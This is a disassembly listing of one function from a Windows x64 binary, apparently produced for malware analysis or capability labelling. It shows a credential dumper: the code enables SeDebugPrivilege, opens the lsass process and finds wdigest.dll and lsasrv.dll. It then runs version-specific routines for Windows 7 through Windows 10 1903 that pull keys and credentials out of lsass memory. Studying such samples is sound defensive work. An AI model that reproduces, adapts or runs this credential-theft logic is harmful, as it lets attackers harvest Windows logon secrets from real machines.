Function at 0x140002ee0
Capabilities:
Acquire debug privileges
Check os version
Enumerate process modules
Enumerate processes
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x2410]
mov eax, 0x2510
call fcn.14001d5a0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2400], rax
lea rcx, str.Support:_n
call fcn.140001010
lea rcx, str.___Win7_x64_Windows_Server_2008_x64_Windows_Server_2008R2_x64_n
call fcn.140001010
lea rcx, str.___Win8_x64_Windows_Server_2012_x64_Windows_Server_2012R2_x64_n
call fcn.140001010
lea rcx, str.___Win10_1507_and_before_1903__x64_n_n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
xor r14d, r14d
test eax, eax
je 0x140002fc5
lea r8, [rsp + 0x4c]
mov dword [rsp + 0x48], 1
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x30]
lea r9d, [r14 + 0x10]
lea r8, [rsp + 0x48]
mov qword [rsp + 0x28], r14
xor edx, edx
mov dword [rsp + 0x54], 2
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x30]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140002fd9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.___AdjustTokenPrivileges_Failed.__d__n
call fcn.140001010
xor edx, edx
mov qword [rsp + 0x2530], rdi
mov r15, r14
mov dword [rbp + 0xb0], 0x238
mov r12, r14
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp + 0xb0]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000307d
lea rdx, [rbp + 0xb0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x14000307d
lea rdi, [0x140027d00]
nop
lea rdx, [rbp + 0xdc]
mov rax, r14
nop word [rax + rax]
movzx ecx, word [rdx + rax*2]
cmp cx, word [rdi + rax*2]
jne 0x140003069
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rdi + rax*2 + 2]
jne 0x140003069
add rax, 2
cmp rax, 0xa
jne 0x140003040
mov r8d, dword [rbp + 0xb8]
jmp 0x140003089
lea rdx, [rbp + 0xb0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140003030
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, r14d
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400030b3
lea rcx, str._x__Error:_Could_not_open_handle_to_lsass_process_n
call fcn.140001010
lea eax, [rsi + 2]
jmp 0x140003374
lea r9, [rsp + 0x38]
mov r8d, 0x2000
lea rdx, [rbp + 0x2f0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x14000335e
mov eax, dword [rsp + 0x38]
mov edi, r14d
test rax, 0xfffffffffffffff8
jbe 0x14000334b
lea rbx, [rbp + 0x2f0]
mov rdx, qword [rbx]
lea r8, [rbp + 0x22f0]
mov r9d, 0x104
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExA]
lea rdx, str.lsass.exe
lea rcx, [rbp + 0x22f0]
call fcn.1400050c4
test rax, rax
je 0x140003126
mov r14, qword [rbx]
jmp 0x14000315e
lea rdx, str.wdigest.DLL
lea rcx, [rbp + 0x22f0]
call fcn.1400050c4
test rax, rax
je 0x140003143
mov r12, qword [rbx]
jmp 0x14000315e
lea rdx, str.lsasrv.dll
lea rcx, [rbp + 0x22f0]
call fcn.1400050c4
test rax, rax
je 0x14000315e
mov r15, qword [rbx]
mov ecx, dword [rsp + 0x38]
inc edi
shr rcx, 3
add rbx, 8
movsxd rax, edi
cmp rax, rcx
jb 0x1400030f0
test r14, r14
je 0x14000334b
test r12, r12
je 0x14000334b
test r15, r15
je 0x14000334b
mov rdx, r14
lea rcx, str.___lsass.exe_found_at__p_n
call fcn.140001010
mov rdx, r12
lea rcx, str.___wdigest.dll_found_at__p_n
call fcn.140001010
mov rdx, r15
lea rcx, str.___lsasrv.dll_found_at__p_n
call fcn.140001010
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.RtlGetNtVersionNumbers
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x3c]
call rax
cmp dword [rsp + 0x3c], 0xa
jne 0x14000325f
cmp dword [rsp + 0x40], 0
jne 0x14000325f
mov eax, dword [rsp + 0x30]
cmp eax, 0x47ba
jae 0x140003223
lea rcx, str.___OS:_Windows_10__n
call fcn.140001010
mov rdx, r15
mov rcx, rsi
call fcn.140001bc0
jmp 0x140003313
cmp eax, 0x47b8
jbe 0x14000325f
lea rcx, str.___OS:_Windows_10_1903_n
call fcn.140001010
mov rdx, r15
mov rcx, rsi
call fcn.140002090
test eax, eax
je 0x14000331b
lea rcx, str._x__Error:_Could_not_find_keys_in_lsass_n
call fcn.140001010
mov eax, 1
jmp 0x140003374
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x14000333d
cmp dword [rsp + 0x64], 6
je 0x14000329f
lea rcx, str.____Too_old_n
call fcn.140001010
jmp 0x140003372
mov eax, dword [rsp + 0x68]
test eax, eax
je 0x1400032ed
sub eax, 1
je 0x1400032dd
cmp eax, 1
jne 0x140003372
cmp byte [rbp + 0x7a], 1
lea rax, str.___OS:_Windows_Server_2012_n
lea rcx, str.___OS:_Windows_8_n
cmovne rcx, rax
call fcn.140001010
mov rdx, r15
mov rcx, rsi
call fcn.140001700
jmp 0x140003313
lea rcx, str.___OS:_Windows_7_n
lea rax, str.___OS:Windows_Windows_Server_2008_R2_n
jmp 0x1400032fb
lea rcx, str.___OS:_Windows_Vista_n
lea rax, str.___OS:_Windows_Server_2008_n
cmp byte [rbp + 0x7a], 1
cmovne rcx, rax
call fcn.140001010
mov rdx, r15
mov rcx, rsi
call fcn.140001290
test eax, eax
jne 0x140003249
mov rdx, r12
mov rcx, rsi
call fcn.140002740
test eax, eax
je 0x140003372
lea rcx, str._x__Error:_Could_not_find_credentials_in_lsass_n
call fcn.140001010
mov eax, 1
jmp 0x140003374
lea rcx, str.____Error_n
call fcn.140001010
jmp 0x140003372
lea rcx, str._x__Error:_Could_not_find_all_DLLs_in_LSASS_:__n
call fcn.140001010
mov eax, 1
jmp 0x140003374
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.___Error_code_of_EnumProcessModules__:_d_n
call fcn.140001010
xor eax, eax
mov rdi, qword [rsp + 0x2530]
mov rcx, qword [rbp + 0x2400]
xor rcx, rsp
call fcn.140003480
lea r11, [rsp + 0x2510]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret